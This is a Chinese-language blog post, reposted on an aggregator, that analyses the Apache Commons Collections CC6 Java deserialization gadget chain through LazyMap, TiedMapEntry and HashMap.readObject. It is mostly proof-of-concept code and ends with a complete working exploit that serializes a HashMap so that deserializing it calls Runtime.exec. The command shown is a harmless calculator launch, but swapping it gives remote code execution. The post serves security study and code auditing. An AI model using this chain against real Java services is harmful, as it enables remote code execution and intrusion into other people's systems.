Java反序列化 - CC6链 (代码审计)

news/2024/11/29 10:28:57/文章来源:https://www.cnblogs.com/kgty/p/18574218

一、漏洞简述:

相比较于CC6链,CC1链对jdk版本有较多的限制。
在 jdk_8u71版本之后,AnnotationInvocationHandler类中的readObject方法代码被修改,移除了原有的 setValue()方法,导致利用链断开。

jdk_8u65:
image

jdk_8u71:
image

二、CC6链分析:

1、利用逻辑:

Hashmap.readObject()
-> Hashmap.hash()-> TiedMapEntry.hashcode()-> TiedMapEntry.getValue()-> LazyMap.get()-> ChainedTransformer.transform()-> InvokerTransformer.transform()-> method.invoke()-> Runtime.getRuntime.exec("open -a Calculator")

2、LazyMap类利用:

LazyMap 中的 get()方法 调用了 factory.transform()方法,其中 factory参数 可控。

org.apache.commons.collections.map.LazyMap#get:

public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}

org.apache.commons.collections.map.LazyMap#decorate:

public static Map decorate(Map map, Factory factory) {return new LazyMap(map, factory);}

利用 LazyMap类 进行RCE,poc如下:

public static void main(String[] args) {Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), ct);lazymap.get("1");}

image

3、TiedMapEntry类利用:

TiedMapEntry类 中的 getValue()方法 会调用 map.get()方法,其中map参数的值可以通过构造函数控制,最后类中的 hashCode()方法 会调用 getValue()方法,由此构成利用链。

org.apache.commons.collections.keyvalue.TiedMapEntry#getValue:

public Object getValue() {return this.map.get(this.key);}

org.apache.commons.collections.keyvalue.TiedMapEntry#TiedMapEntry:

public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key;}

org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode:

public int hashCode() {Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());}

利用链poc如下:

public static void main(String[] args) {Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), ct);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法tiedMapEntry.hashCode();}

image

4、HashMap类利用:

已知可以利用 TiedMapEntry类中的 hashCode()方法实现RCE,现在只需要考虑如何调用 hashCode即可。

通过跟进 HashMap类可知,HashMap类 中的 hash(Object key)方法调用了 key.hashCode()方法,HashMap类中的 put()方法 和 readObject()方法 均调用了 hash()方法,可以触发调用 hashCode()方法。

java.util.HashMap#hash:

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

java.util.HashMap#put:

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

通过调用 hash()方法调用 hashCode()方法,从而RCE,poc如下:

public static void main(String[] args) {Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), ct);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, "1");}

image

三、poc链构造:

java.util.HashMap#readObject:

private void readObject(ObjectInputStream s)throws IOException, ClassNotFoundException {ObjectInputStream.GetField fields = s.readFields();// Read loadFactor (ignore threshold)float lf = fields.get("loadFactor", 0.75f);if (lf <= 0 || Float.isNaN(lf))throw new InvalidObjectException("Illegal load factor: " + lf);lf = Math.min(Math.max(0.25f, lf), 4.0f);HashMap.UnsafeHolder.putLoadFactor(this, lf);reinitialize();s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0) {throw new InvalidObjectException("Illegal mappings count: " + mappings);} else if (mappings == 0) {// use defaults} else if (mappings > 0) {float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

在 readObject()方法中,最后一行代码使用了
putVal(hash(key), key, value, false, false);
其中调用了hash()方法,从而可以出发 hashCode()方法,进而实现RCE。

1、put()方法造成rce提前,利用反射机制解决:

但是由前面的代码可知,我们向 hashMap中put健值对的时候调用了 HashMap类中的 put()方法,put()方法会提前调用 hash()方法,从而使在进行反序列化,调用 readObject()之前,就实现了RCE,与预期不符,所以可以采用反射的机制进行解决。
image

image

(1) 第一次factory传值为 new ConstantTransformer("1") 防止提前造成RCE
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));

(2) 利用反射将 factory的值修改回 chainedTransformer对象:

Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazymap, ct);

image

修改后poc如下所示:

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("0"));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, "2");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazymap, ct);serialize(hashMap);unserialize();}public static void serialize(Object object) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("CC6Test.bin")));oos.writeObject(object);}public static void unserialize() throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("CC6Test.bin")));ois.readObject();}

2、!this.map.containsKey(key) == false 导致无法执行 transform()从而RCE:

使用上述 poc发现无法进行RCE,在 LazyMap类的get()方法处打断点跟进:
image

put()方法触发的 get(Object key)中 key = 1:
image

由于 HashMap对象中不存在 key=1,所以 get()方法 会使用 map.put(key, value) 将 key=1 添加,在后续反序列化触发 get()方法的时候,由于 key=1在第一次调用时已经被添加进了 HashMap对象中,故第二次会直接跳过,执行 return this.map.get(key);

image

所以我们需要在 put()方法之后手动删除 lazymap中的这个 key,以确保后续RCE的成功执行:
lazymap.remove("1");

3、完整poc:

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})};ChainedTransformer ct = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("0"));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, "2");lazymap.remove("1");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazymap, ct);serialize(hashMap);unserialize();}public static void serialize(Object object) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("CC6Test.bin")));oos.writeObject(object);}public static void unserialize() throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("CC6Test.bin")));ois.readObject();}

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/843308.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

不透明的文档协作,正在毁掉你的团队效率

在团队协作中,我们经常面对这样的困境:多人编辑同一份文档时,如何确保内容的准确性和版本的一致性?这看似简单的问题,却常常导致效率低下、信息丢失,甚至团队内部的矛盾升级。 关键点在于“变更透明化与实时同步”。 传统方式依赖邮件传输或者分散的云存储,这不仅容易造…

工地渣土车AI智能识别管控系统

工地渣土车AI智能识别管控系统通过现场监控摄像头实时捕捉工地出入口的画面,工地渣土车AI智能识别管控系统能够准确识别出渣土车,判断其是否按规定进行了遮盖,一旦系统判定渣土车未按规定遮盖,立即触发警报并抓拍照片,能够及时将违规行为报告发送至企业平台。工地渣土车AI…

马尔科夫模型

马尔科夫模型(Markov Model) 是一种用于描述系统状态转移的概率模型,广泛应用于统计学、机器学习、自然语言处理、物理学等领域。它的核心假设是:未来的状态仅依赖于当前状态,而与过去的历史状态无关,这个假设被称为“马尔科夫性”或“无记忆性”。1. 马尔科夫过程 马尔科…

20222412 2024-2025-1 《网络与系统攻防技术》实验五实验报告

20222412 2024-2025-1 《网络与系统攻防技术》实验五实验报告 1.实验内容 (1)从besti.edu.cn、baidu.com、sina.com.cn中选择一个DNS域名进行查询,获取如下信息:DNS注册人及联系方式该域名对应IP地址IP地址注册人及联系方式IP地址所在国家、城市和具体地理位置 PS:使用who…

win10设置莫名其妙无法打开,或许可以这样解决

我尝试了网上的很多解决方法,很遗憾都没有成功。也许是故障原因不同,这些方法并不适用。 在重装系统之前或许还可以试试更新win10系统。 由于设置打不开,因此只能手动更新系统。 1.查看对应版本的最新更新情况:Windows 10 - release information | Microsoft Learn 下图为w…

Api流式导出大数据

API流式导出大数据 <?phpnamespace App\Admin\Exports;use App\Admin\Services\Statistics\ExaminationRecordsDataService; use App\Enums\ExaminationStatus; use Generator; use Maatwebsite\Excel\Concerns\FromGenerator; use Maatwebsite\Excel\Concerns\WithHeading…

无监督模板辅助点云形状对应网络

无监督模板辅助点云形状对应网络无监督点云形状对应旨在建立源点云和目标点云之间的逐点对应关系。现有方法通过计算点云之间的逐点特征相似度直接获得对应关系。然而,非刚性物体具有很强的变形能力和不寻常的形状,因此直接在具有非常规形状的点云之间建立对应关系是一个长期…

国产系统(麒麟V10、uos)使用pageoffice在线编辑office文件

本文描述了PageOffice产品在(VUE+Springboot)前后端分离的项目中如何集成调用。 一、环境 前端:vue2 后端:springboot2、jdk1.8 如果是springboot3,jdk17及以上版本,用这个依赖: <dependency> <groupId>com.zhuozhengsoft</groupId> <arti…

产品经理如何用项目管理技能提升交付质量与效率?

作为产品经理,除了要具备产品设计和创新的能力,还需要掌握项目管理的技巧,因为产品的成功不仅仅取决于设计和开发,项目管理的精细化操作更是不可忽视的一环。项目管理的核心目标是确保项目按时、按质、按量完成,最终能够顺利交付客户。而作为产品经理,我们常常承担着项目…

idea源码下载问题: Cannot download sources Sources not found for:xxx

转载: 原文地址 问题出现的原因是我新建项目后没有手动设置仓库地址,导致用命令mvn dependency:resolve -Dclassifier=sources下载的源码全部自动的下载到默认仓库:C:\Users\xxx\.m2\repository而idea选择源文件时跳出的文件选择框还是我自定义的仓库 所以找不到源码文件,其…

@Url.Content

@Url.Content 是ASP.NET MVC中的一个HTML帮助器,用于生成相对于应用程序根目录的URL。这个帮助器特别有用当你需要引用静态内容,如图片、CSS文件、JavaScript文件等,这些文件通常放在Content文件夹中。 使用@Url.Content可以确保生成的URL是正确的,无论应用程序的基路径是什…

Linux安装RabbitMQ详细教程(最详细的图文教程)

一、环境准备1、RabbitMQ版本 和 Erlang 版本兼容性关系 https://www.rabbitmq.com/which-erlang.html 2、ErLang安装教程 https://www.cnblogs.com/haoliyou/p/17666817.html 3、RabbitMQ的安装依赖于erlang所以先安装4、RabbitMQ CentOS 参考安装步骤 https://www.rabbitmq.c…